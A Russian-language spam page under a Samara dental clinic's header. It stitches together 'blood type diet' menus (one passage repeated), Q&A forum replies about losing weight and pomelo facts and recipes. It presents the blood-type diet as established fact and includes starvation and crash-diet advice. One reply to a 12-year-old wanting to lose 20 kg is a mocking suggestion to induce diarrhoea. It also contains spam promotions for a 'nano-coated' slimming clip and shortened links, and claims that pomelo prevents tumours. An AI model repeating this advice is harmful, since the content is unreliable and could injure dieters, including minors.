Кафедра челюстно лицевой хирургии и стоматологии СамГМУ

ОАО "Поволжский Специализированный Реабилитационный Стоматологический Центр"
Терапия Ортопедия Пародонтология Хирургия Ортодонтия Имплантология Эстетическая хирургия ЧЛХ
  ?>
О компании
Услуги
Прайс
Наши разработки
Наш коллектив
Бесплатная
   консультация

Есть диеты по группе крови. А есть диеты для блондинок и брюнеток? ..

Что, опять каштаны красить будем)))???

Эта группа крови сформировалась тогда, когда в меню людей преобладали рыба и мясо, добытые путем рыбной ловли и охоты. Детям с первой группой крови не рекомендуется вегетарианская диета, овощная диета или просто соблюдение постов.

Где взять адаптированное меню для диеты по группам крови? Группа А (-)

В любом книжном маге.. . и в инете ёшкин кот - что за вопрос...

Разрешено очень редко выпивать бокал красного или белого вина. Диета по группе крови 3 положительная меню на неделю. При 3 положительной группе крови, рекомендуется придерживаться примерного меню

Прислушайся к мнению DokDi**Он в этом Профи!!

Http://www.arabio.ru/dieta/3a.htm

А как соблюсти диЕту? (см.внутри)

Еже ли б я знала....

Диета на 4 недели. Как подобрать оптимальную?Диета по группе крови 1. Белковая диета для похудения самая эффективная для первой группы, однако в меню должно преобладать постное мясо, например, курятина и индюшатина, крольчатина, говядина, можно и свинину, но...

Вот именно так и не иначе)))))))

А я никогда не сидела на диетах и не жалуюсь, с конституцией повезло!)

Диета, диета и еще раз диета. Держать себя под постоянным контролем.

Атдай каклету врагу) ) можишь мне))))))

Самая простая диета - заклеить рот скотчем!

Меню диеты по группе крови. С того момента, как определилось, что кровь у людей подразделяется на различные группы, исследования ученых были направлены на поиски отличий между ними.

Подскажите сколъко мне скинуть я страшная?

А где фото?

Как считают специалисты в области диет, один из лучших способов снизить вес это правильно сбалансировать питание. А что может быть лучше, чем диета, подобранная к группе крови.

Так фото же нужно,

Ты не страшная. ты глупая.

Без фото не угадаешь.

А как же твой внутренний мир?

МММММММММммммммммммммм АЖ ШИШКА ВСТАла

Меню диеты по группе крови для каждой из них приводит список продуктов, которые разделены на три типа полезные, нейтральные и вредные.Для того, чтобы выбрать для себя подходящую диету, достаточно просто знать свою группу крови.

Худей. Разве так можно.... ты симпатичная на лицо и так себя портишь. А еще яркие цвета. Волосы ухожены и такая толстая. Да.... сказала прямо.... но честно!

Какое милое личико и вообще очень приятная девчушка. Сбрось 300 кг. чем дальше тем лучше) Давай дружить?

Не слушай никого. у тебя не самый плохой случай. фигура как фигура.
не скажу что худая, но если не устраивает кг 3-5 можно сбросить. симпатичная ты на лицо. очень даже симпатичная.

Приятная ты! Родишь - похудеешь сначала. Сладкое исключай и белый хлеб.

Девочка, выброси из головы мысль, что ты страшная. Ты немножко плотненькая.
Посиди неделю на обезжиренном кефире с яблоками и сбросишь килограммов 3-5.
А потом просто ешь поменьше, не ешь много сладкого/мучного/жареного и не кушай после 6.

Меню диеты и мнение специалистов В 1990 годах прошлого века доктор-натуропат Питер Д Адамо и писательница Кэтрин Уитни выпустили книгу 4 группы крови 4 пути к здоровью . На обложке ее авторы заявили Самую лучшую диету для вас определяет только группа вашей...

Вы очень красивая девушка! я так похудела после родов:
Диета по группе крови меню
Диета для первой группы крови
1 группа крови
Для диеты по группе крови рацион предлагается следующий:
- Диета высокопротеиновая — мясоеды
- Хорошо: мясо (кроме свинины) , рыба, морепродукты, Овощи и фрукты (кроме кислых) , ананасы, хлеб - ржаной, в ограниченном количестве.
- Ограничить: крупы, особенно овсянку, пшеницу и изделия из нее (в т. ч. пшеничный хлеб) . Бобовые и гречу - можно.
- Избегать: Капусту (кроме брокколи) , пшеницу и все изделия из нее, кукурузу и все изделия из нее, маринады, кетчуп.
- Напитки хорошие: зеленый чай, травяные чаи из шиповника, имбиря, мяты, кайенского перца, лакрицы, липы; сельтерская вода,
- Напитки нейтральные: пиво, вино красное и белое, чай из ромашки, женьшеня, шалфея, валерианы, листа малины,
- Напитки вредные: кофе,
Если вы хотите похудеть, питаясь соответственно вашей группе крови, то необходимо исключить: Капусту свежую, бобовые, кукурузу, пшеницу, цитрусовые, мороженое, сахар, маринады, картофель.
Помогают сбросить вес и похудеть: морские водоросли (бурые, ламинария) , рыба и морепродукты, йодированная соль, мясо, особенно говядина, баранина, печень, зелень, салаты, шпинат, брокколи, редис
Рекомендуемые витамины и добавки: Витамины группы В, витамин К, кальций, марганец, йод, корень солодки, морские водоросли, фермент панкреатической железы.
Избегать: Витамин А, витамин Е.
В случае если у Вас 1 группа крови положительная диета будет такая же, как и при отрицательном резус-факторе — различий нет.
Программа понижения веса также предполагает — очень интенсивные упражнения: аэробика, лыжи, бег, плавание
2-я группа крови
Полное вегетарианство, соя, овощи, зеленые салаты, крупы, бобовые, фрукты (кроме кислых — апельсин, мандарин, ревень, папайя, бананы, кокосы) , рыба (исключить камбалу, палтус, селедку, икру, а также морепродукты) , сахар — умеренно, из молочного можно нежирный сыр и кисломолочное.
Рекомендованные напитки — кофе, зеленый чай, красное вино.
Соки — морковный, ананасовый, грейпфрутовый, вишневый. Вода с лимонным соком.
Избегать — апельсиновый сок, черный чай, все содовые напитки.
При необходимости контролировать вес исключить: мясо курицы и индейки, молочное, пшеницу, любой перец, мороженое, сахар.
Витамины и пищевые добавки — витамины В, С, Е, кальций, железо, цинк, селен, хром, бифидумбактерин, травяной чай, жень-шень, эхинацея.
Диета по группе крови 2 положительная такая же, как и для отрицательного резус-фактора.
Диета для третьей группы крови
3 группа крови
Диета для 3 группы крови описывается следующим образом.
Это группа, которая может позволить себе разные диеты и методики питания вследствие хорошей адаптации к множеству продуктов. Диета смешанная (сбалансированная) . «Кочевники» всеядны, мясо, рыба, кисломолочное и обезжиренное, яйца, крупы (кроме гречи и пшеницы) , бобовые, овощи (кроме кукурузы, помидор, тыквы, оливок) , фрукты.
Диета по групе крови рекомендует избегать: морепродукты, свинина, куриное мясо.
Рекомендуются напитки: зеленый чай, травяные чаи (солодка, женьшень, гингко-билоба, шалфей, лист малины) , сок клюквы, капусты, виноградный, ананасовый. Нейтрально: апельсиновый сок, пиво, вино, кофе, черный чай,
Нельзя томатный сок.
При контроле веса исключить: кукурузу, чечевицу, арахис, гречу, пшеницу, помидоры, свинину.
Помогает контролировать вес: зеленые салаты, травы, яйца, печень, телятина, корень солодки, соя.
Витамины и пищевые добавки — магний, лецитин, лакрица, Гингко-Билоба, эхинацея, бромелайн

Странные тут комментарии, по большому счёту.. .
Нет, ты не страшная, а очень даже милая )
Неплохо было бы похудеть килограммов на 10, но это лично моё мнение.

Девушки !!!скажите как реально похудеть

Меньше жрать

Какую подобрать диету, чтобы получить максимальную пользу? Совет может дать профессиональный диетолог.Значит, рацион питания одинаков. Соответственно, различается меню диеты по группе крови, а вовсе не по резус-фактору.

Это тяжело, отказывать себе во всем самом вкусном! Если очень нужно, забей в поисковике"Диета при диабете 2 типа"

Кушайте меньше углеводов, пейте больше воды и запишитесь с спортзал. Вам там все расскажут.

Могу посоветовать методику П. Дюкана. Я худела по ней. Почитайте отзывы в интернете по этой диете. У меня есть его книга, называется: Я не умею худеть.
Могу выслать. Пишите в личку.

Можно считать углеводы! или на кефире 3 дня просидеть!

НЕ жрать. И говорю вполне серьезно. Есть много низкокалорийных продуктов. Подсчитывай калории, откажись от мучного, от хлеба. После шести не ешь. Все.

Главная Диеты для похудения Диета по второй группе крови составляем меню!Диета по второй группе крови подходит лишь тем, кто является обладателем данной группы.

Ни фига, после 6 не ем вообще и не худею. притом что и днём особо не ем. на воде в основном. наверное каждому своё. так что фиг его знает как лучше

Голодание девочки - это вообще вредно, читала где-то, что когда начинаешь голодать организм "думает" что нужно откладывать про запас и жир наоборот начинает скапливаться, при этом страдает весь пищеварительный тракт ...сейчас есть много способов похудеть без диет ...А вообще зайди сюда goo.gl/D6XyfL там много полезного.

Единственный способ похудеть - тратить больше чем потреблять.

Попробуй диету по группе крови! как такового меню нет, просто есть продукты которые можно или нельзя! Я пыталась похудеть на гречке и кефире - кг очень медленно уходили, хотя везде пишут что это одна из самых действенных диет, как оказалось мне вообще нельзя гречку и кефир! На "правильных" продуктах похудеть довольно не сложно! Кушать только то, что можно и как можно меньше

Подскажите диету! Я хочу похудеть на 20кг в 12 лет а вешу я 60

Заведи тараканов диарея будет

Как составить меню диеты по группе крови?Разнообразное меню диеты по группе крови позволяет подобрать полезные продукты без особого ущерба для вкусовых предпочтений человека.

А рост какой? К эндокринологу нужно обратиться. Начнете сами и безграмотно, нарушите гармональный фон в таком возрасте, а это чревато непредвиденными последствиями. Из питания мясо нежирное отварное, рыба, фрукты и овощи вам в помощь.

А я в 24 вешу 70...при росте 175....

Диета по группе крови меню
Диета для первой группы крови
1 группа крови
Для диеты по группе крови рацион предлагается следующий:
- Диета высокопротеиновая — мясоеды
- Хорошо: мясо (кроме свинины), рыба, морепродукты, Овощи и фрукты (кроме кислых), ананасы, хлеб - ржаной, в ограниченном количестве.
- Ограничить: крупы, особенно овсянку, пшеницу и изделия из нее (в т.ч. пшеничный хлеб). Бобовые и гречу - можно.
- Избегать: Капусту (кроме брокколи), пшеницу и все изделия из нее, кукурузу и все изделия из нее, маринады, кетчуп.
- Напитки хорошие: зеленый чай, травяные чаи из шиповника, имбиря, мяты, кайенского перца, лакрицы, липы; сельтерская вода,
- Напитки нейтральные: пиво, вино красное и белое, чай из ромашки, женьшеня, шалфея, валерианы, листа малины,
- Напитки вредные: кофе,
Если вы хотите похудеть, питаясь соответственно вашей группе крови, то необходимо исключить: Капусту свежую, бобовые, кукурузу, пшеницу, цитрусовые, мороженое, сахар, маринады, картофель.
Помогают сбросить вес и похудеть: морские водоросли (бурые, ламинария), рыба и морепродукты, йодированная соль, мясо, особенно говядина, баранина, печень, зелень, салаты, шпинат, брокколи, редис
Рекомендуемые витамины и добавки: Витамины группы В, витамин К, кальций, марганец, йод, корень солодки, морские водоросли, фермент панкреатической железы.
Избегать: Витамин А, витамин Е.
В случае если у Вас 1 группа крови положительная диета будет такая же, как и при отрицательном резус-факторе — различий нет.
Программа понижения веса также предполагает — очень интенсивные упражнения: аэробика, лыжи, бег, плавание
2-я группа крови
Полное вегетарианство, соя, овощи, зеленые салаты, крупы, бобовые, фрукты (кроме кислых — апельсин, мандарин, ревень, папайя, бананы, кокосы), рыба (исключить камбалу, палтус, селедку, икру, а также морепродукты), сахар — умеренно, из молочного можно нежирный сыр и кисломолочное.
Рекомендованные напитки — кофе, зеленый чай, красное вино.
Соки — морковный, ананасовый, грейпфрутовый, вишневый. Вода с лимонным соком.
Избегать — апельсиновый сок, черный чай, все содовые напитки.
При необходимости контролировать вес исключить: мясо курицы и индейки, молочное, пшеницу, любой перец, мороженое, сахар.
Витамины и пищевые добавки — витамины В, С, Е, кальций, железо, цинк, селен, хром, бифидумбактерин, травяной чай, жень-шень, эхинацея.
Диета по группе крови 2 положительная такая же, как и для отрицательного резус-фактора.
Диета для третьей группы крови
3 группа крови
Диета для 3 группы крови описывается следующим образом.
Это группа, которая может позволить себе разные диеты и методики питания вследствие хорошей адаптации к множеству продуктов. Диета смешанная (сбалансированная). «Кочевники» всеядны, мясо, рыба, кисломолочное и обезжиренное, яйца, крупы (кроме гречи и пшеницы), бобовые, овощи (кроме кукурузы, помидор, тыквы, оливок), фрукты.
Диета по групе крови рекомендует избегать: морепродукты, свинина, куриное мясо.
Рекомендуются напитки: зеленый чай, травяные чаи (солодка, женьшень, гингко-билоба, шалфей, лист малины), сок клюквы, капусты, виноградный, ананасовый. Нейтрально: апельсиновый сок, пиво, вино, кофе, черный чай,
Нельзя томатный сок.
При контроле веса исключить: кукурузу, чечевицу, арахис, гречу, пшеницу, помидоры, свинину.
Помогает контролировать вес: зеленые салаты, травы, яйца, печень, телятина, корень солодки, соя.
Витамины и пищевые добавки — магний, лецитин, лакрица, Гингко-Билоба, эхинацея, бромелайн
Итак, диета по группе крови 4:
Умеренно-смешанная диета, мясо (баранина, кролик, индейка, рыба, кроме морепродуктов), молочнокислые продукты, сыры, соевый творог, оливковое масло, печень трески, грецкие орехи и арахис, крупы (кроме гречневой и кукурузы), кроме болгарского перца, черных оливок, фрукты, кроме резких и кислых.
Рекомендуемые напитки: кофе, зеленый чай, чаи из ромашки, женьшеня, имбиря, шиповника, эхинацеи, боярышника,
Нейтрально: пиво, вина, чай из мяты, дон-куэй, валерианы, малины,

Помогите советом! Все рекомендуют не есть после 18:00. А как быть?

Ешь после 19:00!!!

Диета для похудения по группе крови 2. Какие продукты разрешены, а какие запрещены - список. Важные моменты. Особенности типа. Подробное меню на неделю.

Я точно так же ем, только вот муд перевоспитывает и я сним ем по утрам, пусть не хочется но надо

Умереть голодной смертью.

На самом деле помогает,у меня подруга одна так две недели не ела после семи вечера и очень похудела!!На ночь же вообще есть нельзя

Есть такая теория, что между последним и первым приемом пищи должно пройти 14 часов. Т.е. если вы поедите в 18, то в след. раз есть надо будет в 8 утра. А если в 20, то, соответственно, в 10. Люди худеют.

Ложиться спать в 17:00 (КВН)

Диеты статья про Как подобрать диету по группе крови. из категории Диеты .Для людей со второй группой крови лучше всего подойдут диеты на основе растительности, то есть основными продуктами их ежедневного рациона станут овощи, фрукты и зелень.

Не еш месяц а там поймЁш

Надо кушать столько сколько надо!

Смотря для чего тебе это надо,если ты полная то конечно после 6 белки и жиры откладываются в организме так-как движений мало,ну а если ты стройная и хочешь фигуру блюсти то лучше слабенько бульёнчика куринного попить и минут через 20 фитнес

Если вы пытаетесь похудеть,то не важно когда вы съели эти колории,главное уложиться в эту сумму.Я думаю вы с таким режимом питания стройняшка.Берите с собой какие либо бутерброды,сок и между делом перекусывайте,ведь для желудка плохо ничего не кушать.

Есть во время 18:00

Диета по группе крови. Анализ вашей группы крови для подбора диеты.Обязательно внести в меню соевые продукты. Кроме того, не обойтись и без яиц в стандартном рационе.

Кушай овощи и фрукты сколько угодно, ну не до состояния "колобка" конечно, можно в пару приёмов, сначала овощи, через часик фруктики. Эта пища легко усваивается и не откладывается, организм спокойно переварит и усвоит всё полезное втечение ночи. Лучше обходиться без молочных продуктов, они тяжелы в переваривании и нагружают печень.

Я стараюсь не есть после 18-00,но если очень хочется-съедаю яблоко или пью кефир. А самое лучшее-просто огурцы свежие. Можно даже 2-3 съесть,только без соли.

Как похудеть без затрат?

Попрбуйте меньше жрать

Диета по группе крови примеры меню. Итак, предлагаем вашему вниманию пример 7-дневного меню, расписанного по четырем группам крови.Со временем вы научитесь подбирать правильные продукты, как говорится на глаз .

Массаж- сауна - секс - стакан сока - массаж... Дальше по циклу
.
Сауну можно заменить ванной, сок - водой

Как похудеть ничего не делая? Как заработать миллион через интернет? Как укусить себя за локоть? Ответы на эти вопросы в программе "Я ленивая задница"

Для начала проверить организм. Бывает полнота из-за нарушений, гормональных, например. Дальше найти хорошего врача-диетолога. В Питере существует благотворительная организация (НКО), которая занимается как раз теми пацинтами, кому диетолог не по карману, а серьёзные проблемы есть.

Если вы хотите сбросить лишние кг и их много, то без затрат (эмоциональных, физических, финансовых и тд не получится) как говорит мой тренер: "Чтобы получить результат нужно прилагать усилия! "

Массаж- сауна - секс - стакан сока и попрбуйте меньше жрать, питания, — диета, составленная по собственному анализу крови. Идея красивая, индивидуальный подход подкупает, но не всегда работает. Мой давний друг, топ-менеджер небольшой аудиторской конторы Олег К., находясь в поисках смысла жизни, просто помешался на этой диете. Сделал все мыслимые анализы в клинике Волкова, потратил почти штуку баксов, за что получил два списка — зелененький, с разрешенными продуктами, и красный — с запрещенными. Но вот кармическая несправедливость: буквально на следующий день эти бумажки он где-то потерял. И что-то не заладилось с их восстановлением: дубликаты не нашлись, пришлось снова сдавать кровь и получать результат по-новой. Каково же было его удивление, когда старые листочки он все-таки нашел и обнаружил, что запрещенные продукты в них были отмечены совершенно другие!
Что за диета?
Доктор Волков вот уже много лет специализируется на скрытой пищевой аллергии. Вам не обязательно чихать и чесаться после съеденного. Реакцией на неподходящие продукты могут быть как раз лишние килограммы, синдром хронической усталости, гипертония, интоксикация и еще полдюжины болезней. По результатам исследования крови вы получаете рекомендацию диетолога и план питания.
За и против:
Сколько продуктов, столько и тестов на них. Базовые анализы на 130 продуктов стоят 18 000 р., а на 178 продуктов — 24 000 р. Раз в три месяца приходится повторять исследования. Помимо разрешенных продуктов есть еще и другие правила: есть нужно маленькими порциями по 4–6 раз в день, а во время еды пить только простую воду и зеленый чай. Но в целом диета Волкова хорошо переносится. Результат обещают через месяц. Первое, что чувствуете, — это легкость и очищение организма. Похудеть можно на 5–15 кг.
Диета с доставкой на дом
Сайт о диете: www.diet-light.ru
Похожие диеты: Just for you, Easy meal, диета Елены Малышевой
Если вы не приходите к диете, она приходит к вам. Сервисы с доставкой диетического питания появились в Москве пару лет назад, один из новых — Diet Light, меню которого составляла диетолог Екатерина Белова вместе с шеф-поваром Константином Ивлевым, знакомым нам по ресторанам White Rabbit и Luciano. Идея отличная, особенно если у вас нет времени на готовку еды дома, если с силой воли проблемы и в магазине вы покупаете совсем не те продукты. Считать калории и граммы не нужно, за вас уже все посчитано, приготовлено и упаковано.
Что за диета?
Diet Light — это сбалансированное питание с жестким расчетом калорий. Каша с ананасом на завтрак, голубцы с кроликом на обед, печеная тыква с миндалем на полдник — можно почти все, даже кусочек хлеба! В зависимости от выбранной программы количество еды и ее ассортимент варьируются. Сейчас их четыре: на 1200, 1500, 2200 и 2800 калорий. Первые две — для похудения, самый интенсивный курс — это, конечно, 1200 калорий. А 2200 и 2800 — для спортсменов и тех, кто хочет вести здоровый образ жизни. Вся еда на день рассортирована и разложена по коробочкам, которые с утра привозит курьер. Стоимость такой диеты — 3000–3700 р.

Меню для диеты по группе крови.Диета по группе крови незаменима для тех, кто постоянно держит свой вес на контроле. Откуда взялась концепция питания по группе крови?

Поменьше кушать.

Спорт и отказ о вредных продуктов. все мжно дома только главное желание и настсойчивость

Спорт и максимальное ограничение вредностей

Голодание затрат 0 рублей. за 10 дней на 10 кг можно похудеть. но тут от веса зависит.

На самом деле денег при правильном питании тратишь не больше, чем когда покупаешь обычную еду. Всем продуктам можно найти дешевый эквивалент: например не красная рыба, полезная своими жирами, а обычная селедка, Не салат руккола, а капуста обычная. И просто все это вкусно преподносить себе в блюдах.

Как составить диету по группе крови - Версия для печати. Диеты. Яичная диета на 4 недели.Меню диеты Кима Протасова. Худеем вкусно. Диета Меган Фокс.

Как мама двоих детей я знаю, что очень сложно бороться с лишним весом при таком образе и ритме жизни. Перепробовала множество “чудодейственных средств” в виде таблеток, чаёв, платырей и примочек. Портила здоровье редуксином, зеленым кофе, ягодами годжи, флу, кленом. Заявляю категорически – кроме вреда для здоровья и временного снижения веса с последующим его набором – абсолютно никакой пользы! Около года назад мне порекомендовали Сергея Сивца. Это оказался первоклассный специалист по фитнесу и один из лучших диетологов Москвы. И просто хороший, отзывчивый человек. Очень рекомендую программы питания и программы тренировок Сергея Сивца! Для дома, улицы и тренажерного зала. Есть специальные программы для похудения живота и боков! На мой взгляд, они самые эффективные и недорогие (что важно в сегодняшней непростой ситуации в стране). Можно быстро и безопасно похудеть без насилия над собой! Сайт у него, по-моему, атлетик блог ру. Можно через поиск найти. Успехов всем худеющим!

Подскажите провереную диету чтоб сбросить вес,и кто сколько сбросил?

Огурцовая диета

Составляя меню диеты по группе крови с помощью таблицы, следует подбирать наиболее подходящие для 4 группы продукты. Пример меню диеты по группе крови для людей с 4 АВ . Завтрак

Кефирная диета, кроме молочного ничего не еш... за неделю похудеешь

-7 кг в неделю.
8-00 150 обезжиренного творога
10 чашка кофе без сахара
12 - 150 нежирной говядины, лучше телятина
14 стакан несоленого томатного сока
16- два зеленых яблока, порезать мелко и поесть с тарелки как салат
18 стакан кефира.
Эту диету можно применять только 1 раз в год. Потеря 7 кг гарантирована. испытано на собственном опыте

Вот. тут где то есть про диету по группе крови. прикол в том что б не есть продукты которые плохо перевариваются именно у тебя. Голодать не нужно

Диета дюкана, результат фантастичский !!
12 кг за 2 месяца - и главное что без возврата
http://dukandiet.ru/

Кефирчик с апельсинами, овсянка на воде с курагой или черносливом, вареные овощи, зелёный чай без сахара. вот такой рацион. любые из этих продуктов кушать можно в любое время, комбинировать как угодно. за 20 дней я сбросила 10 кг

Если и вы придерживаетесь этой точки зрения, то тогда вам будет небезынтересно узнать, как же правильно подобрать диету по группе крови.Но людям с второй группой крови следует знать, что из меню им следует исключить не только мясо, но и картофель, баклажаны...

Пп + спорт! ! Это самая эффективная "диета"

Диеты все индивидуальные и 95% их не выдерживают. В итоге набирают еще больше.
Даю простые, но эффективные рекомендации:
•пить минимум 1 стакан не кипяченной воды за 30 минут до еды
•ходить не мене 10000 шагов в день со скоростью 5-6 км в час
•перейти на дробное питание 5-6 раз в день
•ограничить потребление ненасыщенных жиров до 40 г в день
•исключить трансжиры (Жиры бывают трех видов - насыщенные (полезные) например рыба некоторых сортов ненасыщенные колбаса сыр и трансжиры (очень плохие) например маргарин
•с удовольствием потреблять продукты с насыщенными жирами так как они содержать очень полезные вещи например жирные кислоты омега -3)
•есть ржаные или пшеничные отруби
•Алкоголь ограничить и лучше всего пить немного красного вина
•Кока пепси и другие сладкие напитки убрать из рациона подальше и не приближаться к ним ближе чем на 25 км
•Сладкое мучное сдобное . Это простые углеводы они очень быстро превращаются в жир. Надо ограничить, но совсем убирать из рациона не следует. Иногда надо себя побаловать
Попробуйте инновационное средство для похудения -клипса с нанопокрытием, которая сочетает идеи иглоукалывания и нанотехнологий.
Еще много полезного для похудения смотрите на блоге Похудение21век

Что такое помело?

Сорт грейпфрута-и вроде он не горчит-как грейпфрут

Какой должна быть специальная диета по группе крови 1 положительная? В этой статье рассказывается о том, каким должно быть питание по группе крови 1, а также дается масса полезных советов.

Мелок

Помело - веник.

Памела (Citrus grandis) – это фрукт рода цитрусовых, обладающий сладким привкусом с легкими оттенками горечи. По-другому этот фрукт называется «Шедок» , полученное в честь имени капитана дальнего плавания, который доставил фрукт памела на Ямайку. Этот экзот выходец из Малайзии и юго-восточной Азии, родом с островов Тонга и Фиджи.
Впервые о фрукте памела упоминается в древнекитайских трактатах и принадлежит к 100 году до Рождества Христова. Даже в настоящее время поклонники китайских традиций с удовольствием одаривают друг друга фруктом памела на религиозные и другие праздники, что символизирует пожелание успеха и процветания адресату. В конце XIV века фрукт памела был завезен торговыми судами в Европу, ознаменовав свое прочное вхождение на иноземные рынки, где его вкусовые и полезные свойства пришлись по вкусу многим.
Этот крупный плод отличается цветом: от насыщенного желтого до светло-зеленого. И формой: от грушевидной до шарообразной. Вес фрукта достигает веса в 10 кг, а его диаметр достигает 30 см. Сейчас регион произрастания памелы довольно обширен: Калифорнийские просторы США, берега Израиля, Индонезии, Индии, южные земли Вьетнама, Японии, а также Тайландские провинции, территории Китая. Фрукт памела произрастает на вечнозеленых деревьях, которые внешне схожи с деревьями грейпфрута, мандарина и апельсина.
Полезные свойства фрукта памела
Довольно ошибочно мнение, что фрукт памела — это разновидность грейпфрута, скорее напротив. Но дело совсем не в этом. Если грейпфрут признан настоящей кладовой полезных минералов и витаминов для организма, то памела перекрывает эти показатели в несколько раз. Фрукт богат маслами эфирными, антиоксидантами, витаминами А и С, аскорбиновой кислотой, и обесценен в межсезонье, когда защитные свойства организма не настолько сильны, чтобы противостоять различным вирусам и бактериям. Помимо этого, фрукт памела — это идеальное средство в борьбе с простудными заболеваниями, а в реабилитационно-восстановительный период подкрепляет жизненные силы организма веществами полезными для него.
На этом полезные свойства помело не заканчиваются. В минеральном составе фрукта памела железу, фосфору, кальцию и калию принадлежит очень большой процент, благодаря чему его можно использовать в терапии и профилактике при низком гемоглобине, увеличенном содержании сахара в крови, гипертонических болезнях сердца. Фрукт памела полезен как профилактическое средство против атеросклероза и рекомендован для предупреждения раковых опухолей.
Памела для похудения
Фрукт памела незаменим для приверженцев различных диет. Памела обладает калорийностью в 25-39 ккал и оказывает содействие в активном расщеплении белков и жиров, замечательно утоляет жажду и чувство голода.
Определить зрелость фрукта памела можно по исходящему от него аромату. Чем запах насыщеннее и сильнее, тем плод более вкусный, полезный и сладкий. Кожура фрукта должна обладать плотными и гладкими свойствами, но при надавливании должна пружинить.
Как едят памелу
Несмотря на то, что фрукт памела давно появился в свободной продаже, многие до сих пор предполагают, что это исключительный монопродукт, и не знают, как еще можно есть фрукт памела.
Существует множество способов употребления фрукта памела. Он прибавляет богатые пищевкусовые оттенки в различные фруктовые салаты, в выпечке дополняет вкус прекрасной начинке. В памеле присутствует горечь, но, не смотря на это, фрукт используют как добавку к соусам для мяса. В зависимости от индивидуальных вкусовых предпочтений его добавляют к птице и рыбе. Фрукт памела дает изумительный сок, который при ежедневном употреблении по утрам может самым полезным образом сказаться на состоянии здоровья.
Обязательно надо помнить о правилах хранения этого поразительного фрукта. При комнатной температуре памелу можно хранить неочищенной около месяца, но если кожуру уже сняли, то фрукт хранится в холодильнике не более трех дней.

Тропический фрукт.

Лимонный фрукт

Рацион питания и примерное меню для людей с разной группой крови.Диета по группе крови 1 . Самая распространенная I группа или тип 0 это активная группа, названная Охотник .

Так называют часто человеческий язык, которым можно как помелом весь крем с торта смести. А вообще-то помело - метелка.

Поме́ло, или помпе́льмус, или шеддок (Citrus maxima, Citrus grandis) — вид растений из рода Цитрус; так же называются и плоды этого растения.
Название происходит от английского pomelo, pummelo и pumelo. Происходит это слово от нидерландского pompelmoes — помпельмус.
Помело — вечнозелёное дерево высотой до 15 метров с шаровидной кроной. Листья крупные, цветки белые, диаметром от 3 до 7 см, одиночные или от 2 до 10 в соцветии. Плод покрыт толстой кожурой, разделен на крупные дольки, уплотненной жестковатой перегородкой, внутри каждой дольки могут быть семена. Цвет зрелых плодов — от бледно-зелёного до жёлтого, по размеру они крупнее грейпфрута, отличаются от него также более крупными, упругими волокнами. Помело считается самым крупным из цитрусовых фруктов. Масса плода может достигать 10 килограммов, диаметр — 30 сантиметров. Кожура обычно толстая. Вкус кисловато-сладкий с нотками горечи. Мякоть помело более сухая, чем у других цитрусовых.

Экзотический фрукт, внешностью напоминающий грейпфрут. Правда, помело значительно больше последнего, иногда достигает размера в диаметре до 30 см и веса до 10 кг. Помело может быть по цвету зеленым, желтым и розово-красным. Разного цвета фрукты отличаются и по вкусу. Желтый напоминает апельсин, красный – грейпфрут, а зеленый так вообще хвойным ароматом отдает.
Родиной помело считается Китай. В Китае и по сей день данный фрукт считается одним из символов благополучия и процветания. Его даже на Новый год дарят. В конце XVIII или в начале XIX века его саженцы были завезены английским капитаном Шеддоком из Малайзии в Вест-Индию, а потом фрукт попал и в Европу. Кстати, в некоторых странах данный фрукт и называют в честь отважного капитана – шеддоком.
Помело – это богатейший источник аскорбиновой кислоты, витамина А, эфирных масел, антиоксидантов, микроэлементов. Вот почему фрукт способствует борьбе с вирусными заболеваниями и включение его в рацион является хорошей профилактикой в борьбе с гриппом.
Приятный на вкус, сок помело хорошо утоляет жажду. А благодаря некоторым содержащимся в нем ферментам, хорошо расщепляет белки и жиры. Поэтому помело полезно применять в меню различных диет.
Еще говорят, что помело способствует нормализации давления и препятствует появлению различных опухолевых образований.
– Свежий, неочищенный плод можешь хранить при комнатной температуре в течение месяца, – сказала знакомая. – А вот очищенный желательно держать в холодильнике и не больше трех дней.
Ну а как есть помело, то все очень просто. Его можно есть просто так, как фрукт. Почистить, разделить на дольки, очистить от пленок, как грейпфрут, вытряхнуть косточки, сложить в посуду и все. А дальше хоть ложкой, хоть руками. Кому как нравится. Даже сахар добавлять не нужно. Помело само по себе вкусное.
А еще фрукт можно использовать во фруктовых салатах и добавлять в различные соусы к мясу, птице и рыбе.
Как правильно выбрать этот фрукт? Будучи в магазине или на рынке, обращайте внимание на самые ароматные плоды, даже если вам придется перенюхать несколько плодов. Помните, чем сильней будет запах помело, тем слаще в итоге окажется его мякоть. На ощупь этот плод, нужный вам, будет немножко мягче, чем остальные. Купленный вами помело может лежать в течение целого месяца, и не только в холодильнике, но и на любой полке. Но вот если плод уже почищен, то постарайтесь съесть помело в течение нескольких дней, и хранить его лучше в холодильнике.
Рецепты блюд из помело
Можно, конечно, просто нарезать помело кусочками и съесть. Но можно и пофантазировать…
Романтический ужин при свечах:
«Помело–креветочная фантазия»
1 помело, 10 креветок, 50 г зелени сельдерея (можно заменить зеленым луком) , сметана для заправки, соль и сахар по вкусу
Помело осторожно разрезать на 2 части. Мякоть аккуратно извлечь и измельчить. Креветки отварить и порезать. Тонко нарезать сельдерей. Всё перемешать, заправить сметаной, переложить в две половинки кожуры помело, в них же подать на стол. Можно украсить зеленью и оливками.
Салат «Ах, помело! »
1 небольшое помело, пучок зелёного салата, оливковое масло для заправки, соль, перец по вкусу
Помело нарезать кусочками. Салат порвать руками и перемять, так как при резке ножом он будет горчить. Смешать, посолить, поперчить. Заправить оливковым маслом
Десерт «Чудо - помело»
0,5 помело, 1 апельсин, 1 банан, 2 киви, 2 яблока, 2 груши, 1 брикет пломбира, кокосовая стружка или тёртый шоколад
Фрукты нарезать кусочками, перемешать, заправить пломбиром. Разложить по вазочкам. Посыпать кокосовой стружкой или тёртым шоколадом.

Очень вкусная штукенция.

Фрукт

Диеты по группе крови. Советы для 4 группы крови. Диета для людей с группой крови АВ 4 .Список рекомендованных продуктов для каждой группы крови настолько широк, что вполне можно подобрать полезные блюда без ущерба для собственного вкуса.

А Вы хотели бы быть вегетарианцем? +

Хотел бы, но чтоб и мясо есть.

Диета по группе крови. В мире регулярно появляются все новые и новые диеты, разработанные с участием диетологов, докторов, косметологов, а также звезд эстрады и кино. Подобрать блюда по ингредиентам и составить меню для праздничного стола.

Вегетарианство противоречит нашей природе

Хотела бы, но у меня не получится. Хотя, много чего из вег. блюд готовлю и ем с удовольствием.

Была вегетарианкой 12 лет, это просто, если свой огород. Мамы не стало и всё пропало

Хотела бы восхищаться силой воли, заставляющей отказываться от скоромного, но понимаю, что все основано на идеологии, которая мне очень не близка. А попоститься думаю.

